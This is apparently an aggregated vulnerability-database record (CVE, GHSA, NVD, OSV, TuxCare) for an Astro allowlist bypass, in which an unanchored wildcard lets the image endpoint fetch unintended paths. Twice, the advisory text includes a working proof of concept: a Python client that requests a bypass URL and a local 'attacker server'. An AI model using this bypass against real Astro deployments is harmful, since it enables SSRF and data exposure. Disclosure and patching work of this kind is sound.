{"id":"CVE-2026-33769","aliases":["AIKIDO-2025-10879","CLSA-2026-1777941830","CLSA-2026-1778114666","CLSA-2026-1778633121","CLSA-2026-1792161544","CLSA-2026-1792161545","CLSA-2026-1792161546","CLSA-2026-1792161683","CLSA-2026-1792161684","CLSA-2026-1792161686","CLSA-2026-1792161759","CLSA-2026-1792161775","CLSA-2026-1792161776","CLSA-2026-1792161777","CLSA-2026-1792161847","CLSA-2026-1792161848","EUVD-2026-14984","GHSA-g735-7g2w-hh3f"],"status":"published","title":"Astro: Remote allowlist bypass via unanchored matchPathname wildcard","description":"Astro is a web framework. From version 2.10.10 to before version 5.18.1, this issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. This issue has been patched in version 5.18.1.","severity":{"version":"4.0","score":2.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00338,"percentile":0.27371,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-183","CWE-20"],"published":"2026-03-24T18:44:29Z","modified":"2026-10-30T19:45:58Z","fixes":[{"ecosystem":"npm","package":"astro","fixed_in":["5.18.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.10"},{"fixed":"5.18.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.15-tuxcare.0"},{"fixed":"2.10.15-tuxcare.1"}]}],"versions":["2.10.15"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/db","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/rss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/telemetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"create-astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6.5-tuxcare.0"},{"fixed":"3.6.5-tuxcare.1"}]}],"versions":["3.6.5"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/internal-helpers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.15-tuxcare.0"},{"fixed":"2.10.15-tuxcare.1"}]}],"versions":["2.10.15"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/internal-helpers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/internal-helpers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6.5-tuxcare.0"},{"fixed":"3.6.5-tuxcare.1"}]}],"versions":["3.6.5"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/prism","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.15-tuxcare.0"},{"fixed":"2.10.15-tuxcare.1"}]}],"versions":["2.10.15"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/prism","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/prism","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6.5-tuxcare.0"},{"fixed":"3.6.5-tuxcare.1"}]}],"versions":["3.6.5"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/studio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/underscore-redirects","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.15-tuxcare.0"},{"fixed":"2.10.15-tuxcare.1"}]}],"versions":["2.10.15"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/underscore-redirects","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/underscore-redirects","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6.5-tuxcare.0"},{"fixed":"3.6.5-tuxcare.1"}]}],"versions":["3.6.5"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6.5-tuxcare.0"},{"fixed":"3.6.5-tuxcare.1"}]}],"versions":["3.6.5"],"bundled":13},{"source":"osv","ecosystem":"npm","package":"astro","ranges":[{"type":"SEMVER","events":[{"introduced":"2.10.10"},{"fixed":"5.18.1"}]}]}],"products":[{"vendor":"astro","product":"astro"},{"vendor":"withastro","product":"astro"}],"references":[{"url":"https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33769","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-g735-7g2w-hh3f"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33769.json","tags":["advisory"]},{"url":"https://github.com/withastro/astro","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33769","title":"Astro: Remote allowlist bypass via unanchored matchPathname wildcard","description":"Astro is a web framework. From version 2.10.10 to before version 5.18.1, this issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. This issue has been patched in version 5.18.1.","status":"published","published":"2026-03-24T18:44:29.169Z","modified":"2026-03-24T20:13:25.845Z","cvss":[{"version":"4.0","score":2.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low","assessor":"cna"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-14984","description":"Astro is a web framework. From version 2.10.10 to before version 5.18.1, this issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. This issue has been patched in version 5.18.1.","status":"published","published":"2026-03-24T18:44:29Z","modified":"2026-03-24T20:13:25Z","cvss":[{"version":"4.0","score":2.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"updated_at":"2026-11-02T19:25:29.547775Z"}],"ghsa":[{"id":"GHSA-g735-7g2w-hh3f","title":"Astro: Remote allowlist bypass via unanchored matchPathname wildcard","description":"## Summary\nThis issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.\n\n## Impact\nAttackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.\n\n## Description\nTaint flow: request -\u003e `transform.src` -\u003e `isRemoteAllowed()` -\u003e `matchPattern()` -\u003e `matchPathname()`\n\nUser-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56\n\n```ts\nconst url = new URL(request.url);\nconst transform = await imageService.parseURL(url, imageConfig);\n\nconst isRemoteImage = isRemotePath(transform.src);\n\nif (isRemoteImage \u0026\u0026 isRemoteAllowed(transform.src, imageConfig) === false) {\n  return new Response('Forbidden', { status: 403 });\n}\n```\n\n`isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21\n\n```ts\nexport function matchPattern(url: URL, remotePattern: RemotePattern): boolean {\n  return (\n    matchProtocol(url, remotePattern.protocol) \u0026\u0026\n    matchHostname(url, remotePattern.hostname, true) \u0026\u0026\n    matchPort(url, remotePattern.port) \u0026\u0026\n    matchPathname(url, remotePattern.pathname, true)\n  );\n}\n```\n\nThe vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99\n\n```ts\n} else if (pathname.endsWith('/*')) {\n  const slicedPathname = pathname.slice(0, -1); // * length\n  const additionalPathChunks = url.pathname\n    .replace(slicedPathname, '')\n    .split('/')\n    .filter(Boolean);\n  return additionalPathChunks.length === 1;\n}\n```\n\n**Vulnerable code flow:**\n1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL.\n2. `matchPathname()` handles `pathname: \"/img/*\"` using `.replace()` on the URL path.\n3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start.\n4. The image endpoint fetches and returns the remote resource.\n\n## PoC\n\nThe PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.\n\n### Vulnerable config\n```js\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n  output: 'server',\n  adapter: node({ mode: 'standalone' }),\n  image: {\n    remotePatterns: [\n      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },\n      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },\n    ],\n  },\n});\n```\n\n### Affected pages\nThis PoC targets the `/_image` endpoint directly; no additional pages are required.\n\n### PoC Code\n```python\nimport http.client\nimport json\nimport urllib.parse\n\nHOST = \"127.0.0.1\"\nPORT = 4321\n\ndef fetch(path: str) -\u003e dict:\n    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)\n    conn.request(\"GET\", path, headers={\"Host\": f\"{HOST}:{PORT}\"})\n    resp = conn.getresponse()\n    body = resp.read(2000).decode(\"utf-8\", errors=\"replace\")\n    conn.close()\n    return {\n        \"path\": path,\n        \"status\": resp.status,\n        \"reason\": resp.reason,\n        \"headers\": dict(resp.getheaders()),\n        \"body_snippet\": body[:400],\n    }\n\nallowed = urllib.parse.quote(\"http://127.0.0.1:9999/img/allowed.svg\", safe=\"\")\nbypass = urllib.parse.quote(\"http://127.0.0.1:9999/evil/img/secret.svg\", safe=\"\")\n\n# Both pass, second should fail\n\nresults = {\n    \"allowed\": fetch(f\"/_image?href={allowed}\u0026f=svg\"),\n    \"bypass\": fetch(f\"/_image?href={bypass}\u0026f=svg\"),\n}\n\nprint(json.dumps(results, indent=2))\n```\n\n### Attacker server\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nHOST = \"127.0.0.1\"\nPORT = 9999\n\nPAYLOAD = \"\"\"\u003csvg xmlns=\\\"http://www.w3.org/2000/svg\\\"\u003e\n  \u003ctext\u003eOK\u003c/text\u003e\n\u003c/svg\u003e\n\"\"\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(f\"\u003e\u003e\u003e {self.command} {self.path}\")\n        if self.path.endswith(\".svg\") or \"/img/\" in self.path:\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"image/svg+xml\")\n            self.send_header(\"Cache-Control\", \"no-store\")\n            self.end_headers()\n            self.wfile.write(PAYLOAD.encode(\"utf-8\"))\n            return\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(b\"ok\")\n\n    def log_message(self, format, *args):\n        return\n\nif __name__ == \"__main__\":\n    server = HTTPServer((HOST, PORT), Handler)\n    print(f\"HTTP logger listening on http://{HOST}:{PORT}\")\n    server.serve_forever()\n```\n\n### PoC Steps\n1. Bootstrap default Astro project.\n2. Add the vulnerable config and attacker server.\n3. Build the project.\n4. Start the attacker server.\n5. Start the Astro server.\n6. Run the PoC.\n7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.","status":"published","published":"2026-03-26T18:45:17Z","modified":"2026-03-26T18:45:17Z","cvss":[{"version":"4.0","score":2.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-20","CWE-183"],"updated_at":"2026-11-02T14:39:43.747579Z"}],"nvd":[{"id":"CVE-2026-33769","description":"Astro is a web framework. From version 2.10.10 to before version 5.18.1, this issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. This issue has been patched in version 5.18.1.","status":"published","published":"2026-03-24T19:16:55.837Z","modified":"2026-06-17T10:38:04.03Z","cvss":[{"version":"4.0","score":2.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33769","title":"Astro: Remote allowlist bypass via unanchored matchPathname wildcard","description":"Astro is a web framework. From version 2.10.10 to before version 5.18.1, this issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. This issue has been patched in version 5.18.1.","status":"published","published":"2026-03-24T18:44:29.169Z","modified":"2026-10-28T02:31:03.512458299Z","cvss":[{"version":"4.0","score":2.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-g735-7g2w-hh3f","title":"Astro: Remote allowlist bypass via unanchored matchPathname wildcard","description":"## Summary\nThis issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.\n\n## Impact\nAttackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.\n\n## Description\nTaint flow: request -\u003e `transform.src` -\u003e `isRemoteAllowed()` -\u003e `matchPattern()` -\u003e `matchPathname()`\n\nUser-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56\n\n```ts\nconst url = new URL(request.url);\nconst transform = await imageService.parseURL(url, imageConfig);\n\nconst isRemoteImage = isRemotePath(transform.src);\n\nif (isRemoteImage \u0026\u0026 isRemoteAllowed(transform.src, imageConfig) === false) {\n  return new Response('Forbidden', { status: 403 });\n}\n```\n\n`isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21\n\n```ts\nexport function matchPattern(url: URL, remotePattern: RemotePattern): boolean {\n  return (\n    matchProtocol(url, remotePattern.protocol) \u0026\u0026\n    matchHostname(url, remotePattern.hostname, true) \u0026\u0026\n    matchPort(url, remotePattern.port) \u0026\u0026\n    matchPathname(url, remotePattern.pathname, true)\n  );\n}\n```\n\nThe vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99\n\n```ts\n} else if (pathname.endsWith('/*')) {\n  const slicedPathname = pathname.slice(0, -1); // * length\n  const additionalPathChunks = url.pathname\n    .replace(slicedPathname, '')\n    .split('/')\n    .filter(Boolean);\n  return additionalPathChunks.length === 1;\n}\n```\n\n**Vulnerable code flow:**\n1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL.\n2. `matchPathname()` handles `pathname: \"/img/*\"` using `.replace()` on the URL path.\n3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start.\n4. The image endpoint fetches and returns the remote resource.\n\n## PoC\n\nThe PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.\n\n### Vulnerable config\n```js\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n  output: 'server',\n  adapter: node({ mode: 'standalone' }),\n  image: {\n    remotePatterns: [\n      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },\n      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },\n    ],\n  },\n});\n```\n\n### Affected pages\nThis PoC targets the `/_image` endpoint directly; no additional pages are required.\n\n### PoC Code\n```python\nimport http.client\nimport json\nimport urllib.parse\n\nHOST = \"127.0.0.1\"\nPORT = 4321\n\ndef fetch(path: str) -\u003e dict:\n    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)\n    conn.request(\"GET\", path, headers={\"Host\": f\"{HOST}:{PORT}\"})\n    resp = conn.getresponse()\n    body = resp.read(2000).decode(\"utf-8\", errors=\"replace\")\n    conn.close()\n    return {\n        \"path\": path,\n        \"status\": resp.status,\n        \"reason\": resp.reason,\n        \"headers\": dict(resp.getheaders()),\n        \"body_snippet\": body[:400],\n    }\n\nallowed = urllib.parse.quote(\"http://127.0.0.1:9999/img/allowed.svg\", safe=\"\")\nbypass = urllib.parse.quote(\"http://127.0.0.1:9999/evil/img/secret.svg\", safe=\"\")\n\n# Both pass, second should fail\n\nresults = {\n    \"allowed\": fetch(f\"/_image?href={allowed}\u0026f=svg\"),\n    \"bypass\": fetch(f\"/_image?href={bypass}\u0026f=svg\"),\n}\n\nprint(json.dumps(results, indent=2))\n```\n\n### Attacker server\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nHOST = \"127.0.0.1\"\nPORT = 9999\n\nPAYLOAD = \"\"\"\u003csvg xmlns=\\\"http://www.w3.org/2000/svg\\\"\u003e\n  \u003ctext\u003eOK\u003c/text\u003e\n\u003c/svg\u003e\n\"\"\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(f\"\u003e\u003e\u003e {self.command} {self.path}\")\n        if self.path.endswith(\".svg\") or \"/img/\" in self.path:\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"image/svg+xml\")\n            self.send_header(\"Cache-Control\", \"no-store\")\n            self.end_headers()\n            self.wfile.write(PAYLOAD.encode(\"utf-8\"))\n            return\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(b\"ok\")\n\n    def log_message(self, format, *args):\n        return\n\nif __name__ == \"__main__\":\n    server = HTTPServer((HOST, PORT), Handler)\n    print(f\"HTTP logger listening on http://{HOST}:{PORT}\")\n    server.serve_forever()\n```\n\n### PoC Steps\n1. Bootstrap default Astro project.\n2. Add the vulnerable config and attacker server.\n3. Build the project.\n4. Start the attacker server.\n5. Start the Astro server.\n6. Run the PoC.\n7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.","status":"published","published":"2026-03-26T18:45:17Z","modified":"2026-04-08T05:17:45.698338Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"},{"version":"4.0","score":2.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"cwes":["CWE-183","CWE-20"],"updated_at":"2026-11-02T15:46:47.472172Z"},{"id":"CLSA-2026-1777941830","title":"TuxCare security update for astro (10 CVEs)","description":"TuxCare rebuilt astro to address 10 CVEs. Fixed in 2.10.15-tuxcare.1.","status":"published","published":"2026-08-04T14:52:30Z","modified":"2026-10-30T19:45:54.887902642Z","updated_at":"2026-11-02T15:43:44.737408Z"},{"id":"CLSA-2026-1778114666","title":"TuxCare security update for 5 packages (9 CVEs)","description":"TuxCare rebuilt 5 packages to address 9 CVEs. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-08-04T14:52:30Z","modified":"2026-10-25T01:43:07.718699294Z","updated_at":"2026-11-02T15:43:44.737408Z"},{"id":"CLSA-2026-1778633121","title":"TuxCare security update for astro (11 CVEs)","description":"TuxCare rebuilt astro to address 11 CVEs. Fixed in 3.6.5-tuxcare.1.","status":"published","published":"2026-08-04T14:52:31Z","modified":"2026-10-30T19:45:58.685288003Z","updated_at":"2026-11-02T15:43:44.737408Z"},{"id":"CLSA-2026-1792161544","title":"TuxCare security update for @astrojs/internal-helpers (11 CVEs)","description":"TuxCare rebuilt @astrojs/internal-helpers to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.","status":"published","published":"2026-10-16T14:39:04Z","modified":"2026-10-16T16:30:31.972857815Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161545","title":"TuxCare security update for @astrojs/internal-helpers (10 CVEs)","description":"TuxCare rebuilt @astrojs/internal-helpers to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-10-16T14:39:05Z","modified":"2026-10-16T16:30:31.9647325Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161546","title":"TuxCare security update for @astrojs/internal-helpers (13 CVEs)","description":"TuxCare rebuilt @astrojs/internal-helpers to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.","status":"published","published":"2026-10-16T14:39:06Z","modified":"2026-10-16T16:30:31.968641871Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161683","title":"TuxCare security update for @astrojs/prism (11 CVEs)","description":"TuxCare rebuilt @astrojs/prism to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.","status":"published","published":"2026-10-16T14:41:23Z","modified":"2026-10-16T16:31:07.771808672Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161684","title":"TuxCare security update for @astrojs/prism (10 CVEs)","description":"TuxCare rebuilt @astrojs/prism to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-10-16T14:41:24Z","modified":"2026-10-16T16:31:14.353852368Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161686","title":"TuxCare security update for @astrojs/prism (13 CVEs)","description":"TuxCare rebuilt @astrojs/prism to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.","status":"published","published":"2026-10-16T14:41:26Z","modified":"2026-10-16T16:31:14.45884769Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161759","title":"TuxCare security update for @astrojs/studio (10 CVEs)","description":"TuxCare rebuilt @astrojs/studio to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-10-16T14:42:39Z","modified":"2026-10-16T16:31:29.284894072Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161775","title":"TuxCare security update for @astrojs/underscore-redirects (11 CVEs)","description":"TuxCare rebuilt @astrojs/underscore-redirects to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.","status":"published","published":"2026-10-16T14:42:55Z","modified":"2026-10-16T16:31:29.981829057Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161776","title":"TuxCare security update for @astrojs/underscore-redirects (10 CVEs)","description":"TuxCare rebuilt @astrojs/underscore-redirects to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-10-16T14:42:56Z","modified":"2026-10-16T16:31:29.977505002Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161777","title":"TuxCare security update for @astrojs/underscore-redirects (13 CVEs)","description":"TuxCare rebuilt @astrojs/underscore-redirects to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.","status":"published","published":"2026-10-16T14:42:57Z","modified":"2026-10-16T16:31:09.691814468Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161847","title":"TuxCare security update for @astrojs/upgrade (10 CVEs)","description":"TuxCare rebuilt @astrojs/upgrade to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-10-16T14:44:07Z","modified":"2026-10-16T16:31:15.149504989Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161848","title":"TuxCare security update for @astrojs/upgrade (13 CVEs)","description":"TuxCare rebuilt @astrojs/upgrade to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.","status":"published","published":"2026-10-16T14:44:08Z","modified":"2026-10-16T16:31:17.844824171Z","updated_at":"2026-11-02T15:43:51.213191Z"}]}}